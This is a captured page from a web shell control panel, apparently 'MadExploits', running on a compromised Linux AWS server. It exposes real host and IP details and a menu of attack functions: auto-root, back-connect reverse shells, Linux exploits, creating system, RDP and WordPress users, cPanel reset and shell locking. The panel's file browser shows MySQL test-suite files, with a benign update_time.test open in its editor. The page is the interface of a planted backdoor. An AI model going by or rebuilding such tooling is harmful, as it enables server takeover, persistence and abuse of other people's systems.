Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.118.226.34
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
engines /
iuds /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
delete_decimal.test
14.4
KB
-rw-r--r--
delete_time.test
6.46
KB
-rw-r--r--
delete_year.test
3.79
KB
-rw-r--r--
disabled.def
376
B
-rw-r--r--
hindi.txt
3.27
KB
-rw-r--r--
insert_calendar.test
334.57
KB
-rw-r--r--
insert_decimal.test
49.46
KB
-rw-r--r--
insert_number.test
384.36
KB
-rw-r--r--
insert_time.test
54.11
KB
-rw-r--r--
insert_year.test
73.64
KB
-rw-r--r--
sample.txt
11.23
KB
-rw-r--r--
strings_charsets_update_delete...
10.41
KB
-rw-r--r--
strings_update_delete.test
6.02
KB
-rw-r--r--
type_bit_iuds.test
759.19
KB
-rw-r--r--
update_decimal.test
19.15
KB
-rw-r--r--
update_delete_calendar.test
42.7
KB
-rw-r--r--
update_delete_number.test
73.53
KB
-rw-r--r--
update_time.test
8.61
KB
-rw-r--r--
update_year.test
6.49
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update_time.test
--disable_warnings DROP TABLE IF EXISTS t1,t2,t3,t4; --enable_warnings SET sql_mode='NO_ENGINE_SUBSTITUTION'; # Create tables CREATE TABLE t1(c1 TIME NOT NULL, c2 TIME NULL, PRIMARY KEY(c1)); CREATE TABLE t2(c1 TIME NOT NULL, c2 TIME NOT NULL, PRIMARY KEY(c1,c2)); CREATE TABLE t3(c1 TIME NOT NULL, c2 TIME NULL, UNIQUE INDEX idx(c1,c2)); CREATE TABLE t4(c1 TIME NOT NULL, c2 TIME NULL); # As a string in 'D HH:MM:SS.fraction' format INSERT INTO t1 VALUES ('00:00:00.00','00:00:00.00'),('01:01:01.01','01:01:01.00'),('838:59:59.00','838:59:59.00'),('00:00:01','00:00:01'),('02:02:02','02:02:02'),('838:59:58','838:59:58'),('-838:59:59','-838:59:59'),('00:03','00:03'),('03:03','03:03'),('838:58','838:58'),('00 00:00:04','00 00:00:04'),('04 04:04:04','04 04:04:04'),('34 22:59:57','34 22:59:57'),('00 00:04','00 00:04'),('05 05:05','05 05:05'),('34 22:56','34 22:56'),('05 05','05 05'),('06 06','06 06'),('34 22','34 22'),('07','07'),('59','59'); INSERT INTO t2 VALUES ('00:00:00.00','00:00:00.00'),('01:01:01.01','01:01:01.00'),('838:59:59.00','838:59:59.00'),('00:00:01','00:00:01'),('02:02:02','02:02:02'),('838:59:58','838:59:58'),('-838:59:59','-838:59:59'),('00:03','00:03'),('03:03','03:03'),('838:58','838:58'),('00 00:00:04','00 00:00:04'),('04 04:04:04','04 04:04:04'),('34 22:59:57','34 22:59:57'),('00 00:04','00 00:04'),('05 05:05','05 05:05'),('34 22:56','34 22:56'),('05 05','05 05'),('06 06','06 06'),('34 22','34 22'),('07','07'),('59','59'); INSERT INTO t3 VALUES ('00:00:00.00','00:00:00.00'),('01:01:01.01','01:01:01.00'),('838:59:59.00','838:59:59.00'),('00:00:01','00:00:01'),('02:02:02','02:02:02'),('838:59:58','838:59:58'),('-838:59:59','-838:59:59'),('00:03','00:03'),('03:03','03:03'),('838:58','838:58'),('00 00:00:04','00 00:00:04'),('04 04:04:04','04 04:04:04'),('34 22:59:57','34 22:59:57'),('00 00:04','00 00:04'),('05 05:05','05 05:05'),('34 22:56','34 22:56'),('05 05','05 05'),('06 06','06 06'),('34 22','34 22'),('07','07'),('59','59'); INSERT INTO t4 VALUES ('00:00:00.00','00:00:00.00'),('01:01:01.01','01:01:01.00'),('838:59:59.00','838:59:59.00'),('00:00:01','00:00:01'),('02:02:02','02:02:02'),('838:59:58','838:59:58'),('-838:59:59','-838:59:59'),('00:03','00:03'),('03:03','03:03'),('838:58','838:58'),('00 00:00:04','00 00:00:04'),('04 04:04:04','04 04:04:04'),('34 22:59:57','34 22:59:57'),('00 00:04','00 00:04'),('05 05:05','05 05:05'),('34 22:56','34 22:56'),('05 05','05 05'),('06 06','06 06'),('34 22','34 22'),('07','07'),('59','59'); #As a string with no delimiters in 'HHMMSS' format INSERT INTO t1 VALUES('000008','000008'),('080808','080808'),('8385955','8385955'),('-8385955','-8385955'),('0009','0009'),('0909','0909'),('5454','5454'),('10','10'),('53','53'); INSERT INTO t2 VALUES('000008','000008'),('080808','080808'),('8385955','8385955'),('-8385955','-8385955'),('0009','0009'),('0909','0909'),('5454','5454'),('10','10'),('53','53'); INSERT INTO t3 VALUES('000008','000008'),('080808','080808'),('8385955','8385955'),('-8385955','-8385955'),('0009','0009'),('0909','0909'),('5454','5454'),('10','10'),('53','53'); INSERT INTO t4 VALUES('000008','000008'),('080808','080808'),('8385955','8385955'),('-8385955','-8385955'),('0009','0009'),('0909','0909'),('5454','5454'),('10','10'),('53','53'); #As a number in HHMMSS format INSERT INTO t1 VALUES (000011.00,000011.00),(111111.11,111111.11),(8385952.00,8385952.00),(000012,000012),(121212,121212),(8385951,8385951),(1313,1313),(5151,5151),(14,14),(50,50); INSERT INTO t2 VALUES (000011.00,000011.00),(111111.11,111111.11),(8385952.00,8385952.00),(000012,000012),(121212,121212),(8385951,8385951),(1313,1313),(5151,5151),(14,14),(50,50); INSERT INTO t3 VALUES (000011.00,000011.00),(111111.11,111111.11),(8385952.00,8385952.00),(000012,000012),(121212,121212),(8385951,8385951),(1313,1313),(5151,5151),(14,14),(50,50); INSERT INTO t4 VALUES (000011.00,000011.00),(111111.11,111111.11),(8385952.00,8385952.00),(000012,000012),(121212,121212),(8385951,8385951),(1313,1313),(5151,5151),(14,14),(50,50); #As the result of a function that returns a value that is acceptable in a TIME context SET TIMESTAMP=1233216687; # 2009-01-29 13:41:27 INSERT INTO t1 VALUES(CURRENT_TIME(),CURRENT_TIME()); INSERT INTO t2 VALUES(CURRENT_TIME(),CURRENT_TIME()); INSERT INTO t3 VALUES(CURRENT_TIME(),CURRENT_TIME()); INSERT INTO t4 VALUES(CURRENT_TIME(),CURRENT_TIME()); #Insert permissible NULLs INSERT INTO t1 VALUES('123456',null); #INSERT INTO t2 VALUES('123456',null); INSERT INTO t3 VALUES('123456',null); INSERT INTO t4 VALUES('123456',null); --sorted_result SELECT * FROM t1; --sorted_result SELECT * FROM t2; --sorted_result SELECT * FROM t3; --sorted_result SELECT * FROM t4; #Updating the tables --sorted_result SELECT c1 FROM t1 WHERE c1='00:00:07'; UPDATE t1 SET c1='22:22:22' WHERE c1='00:00:07'; --sorted_result SELECT c1 FROM t1; --sorted_result SELECT c1 FROM t2 WHERE c1='-838:59:59' AND c2='-838:59:59'; UPDATE t2 SET c1='22:22:22' WHERE c1='-838:59:59' AND c2='-838:59:59'; --sorted_result SELECT c1 FROM t2; # Update with NULL ( NULL to number & number to NULL) --sorted_result SELECT c2 FROM t3 WHERE c2=null; UPDATE t3 SET c2='34 22:59:59' WHERE c2=null; --sorted_result SELECT c2 FROM t3; --sorted_result SELECT c2 FROM t4 WHERE c1='00:00:00'; UPDATE t4 SET c2=null WHERE c1='00:00:00'; --sorted_result SELECT c2 FROM t4; #Update order by limit --sorted_result SELECT c1 FROM t4 WHERE c1 < '000009'; UPDATE t4 SET c1='0101' WHERE c1 < '000009' ORDER BY c1 LIMIT 3; --sorted_result SELECT c1 FROM t4; #Update negative value to unsigned column --sorted_result SELECT c1 FROM t1 WHERE c1='12:12:12'; UPDATE t1 SET c1='-12:12:12' WHERE c1='12:12:12'; --sorted_result SELECT c1 FROM t1; #Update with Arithmetic operations --sorted_result SELECT c1 FROM t1 WHERE c1=111127; UPDATE t1 SET c1=c1+c2 WHERE c1=111127; --sorted_result SELECT c1 FROM t1; --sorted_result SELECT c1 FROM t2 WHERE c2='100:04:04'; UPDATE t2 SET c1=c1 - '010101' WHERE c2=1000404; --sorted_result SELECT c1 FROM t2; --sorted_result SELECT c2 FROM t3 WHERE c2=020202; UPDATE t3 SET c2=c1 * 2 WHERE c2='020202'; --sorted_result SELECT c1 FROM t3; --sorted_result SELECT c1 FROM t4 WHERE c1=121212; UPDATE t4 SET c1=c1 / 2 WHERE c1='12:12:12'; --sorted_result SELECT c1 FROM t4; #Update range values UPDATE t1 SET c2=1250000 WHERE c1='00:00:09' AND c1='01:01:01'; --sorted_result SELECT c2 FROM t1; UPDATE t2 SET c1=125959 WHERE c2=000400 OR c2= 000900; --sorted_result SELECT c1 FROM t2; UPDATE t2 SET c2='1111' WHERE c1 IN ('100:04:04',005454,'2:2:2',111111); --sorted_result SELECT c2 FROM t2; #Update outside range would be clipped to closest endpoints UPDATE t4 SET c2='-838:59:60' WHERE c1='100:04:04'; --sorted_result SELECT c2 FROM t4; UPDATE t4 SET c2='838:59:60' WHERE c1='100:04:04'; --sorted_result SELECT c2 FROM t4; UPDATE t4 SET c2='00:00:00' WHERE c1='100:04:04'; --sorted_result SELECT c2 FROM t4; UPDATE t4 SET c2='11:11:60' WHERE c1='100:04:04'; --sorted_result SELECT c2 FROM t4; UPDATE t4 SET c2='11:60:11' WHERE c1='100:04:04'; --sorted_result SELECT c2 FROM t4; # Update ignore on bad null error --sorted_result SELECT c1 FROM t3 WHERE c2 < '000007'; SET SQL_MODE=STRICT_ALL_TABLES; --error ER_BAD_NULL_ERROR UPDATE t3 SET c1=NULL WHERE c2 < '000007'; UPDATE IGNORE t3 SET c1=NULL WHERE c2 < '000007'; --sorted_result SELECT c1 from t3 WHERE c2 < '000007'; SET SQL_MODE='NO_ENGINE_SUBSTITUTION'; #Duplicate keys --error ER_DUP_ENTRY UPDATE t1 SET c1=8385958 WHERE c2='34 22:59:59'; #Update with invalid values UPDATE t1 SET c2='def' WHERE c1=59; --sorted_result SELECT c2 FROM t1; --error ER_PARSE_ERROR UPDATE t4 SET c1=11:11:11 WHERE c2=NULL; --sorted_result SELECT c1 FROM t4; #Multi table update UPDATE t1,t2,t3,t4 SET t1.c2=t2.c1+t2.c2,t3.c2=t4.c1*2 WHERE t1.c1='00:13:13' AND t2.c1=080808 AND t4.c1='00:04:00' AND t3.c2=020202; # Update using various access methods # Update using Const # EXPLAIN SELECT * FROM t1 WHERE c1='00:09:09' AND c2='00:09:09'; UPDATE t1 SET t1.c1='00:12:12' WHERE c1='00:09:09' AND c2='00:09:09'; --sorted_result SELECT * FROM t1; # Update using range # EXPLAIN SELECT * FROM t1 WHERE c1 BETWEEN 080000 AND 100000; UPDATE t1 SET t1.c2='99999.99999' WHERE c1 BETWEEN 080000 AND 100000; --sorted_result SELECT * FROM t1; # EXPLAIN SELECT * FROM t1 WHERE c1 IN (222222,8385955,1500000); UPDATE t1 SET c1=c1+1,c2=c2-1 WHERE c1 IN (222222,8385955,1500000) ORDER BY c1; --sorted_result SELECT * FROM t1; # Update using eq_ref # EXPLAIN SELECT * FROM t2,t3 WHERE t2.c1=t3.c1 AND t2.c3=t3.c3; UPDATE t1,t2 SET t1.c2='22222.22222' WHERE t1.c1=t2.c1 AND t1.c2=t2.c2; --sorted_result SELECT * FROM t1; --sorted_result SELECT * FROM t2; --sorted_result SELECT * FROM t3; --sorted_result SELECT * FROM t4; #Drop tables; DROP TABLE IF EXISTS t1,t2,t3,t4; SET sql_mode=default;
Close
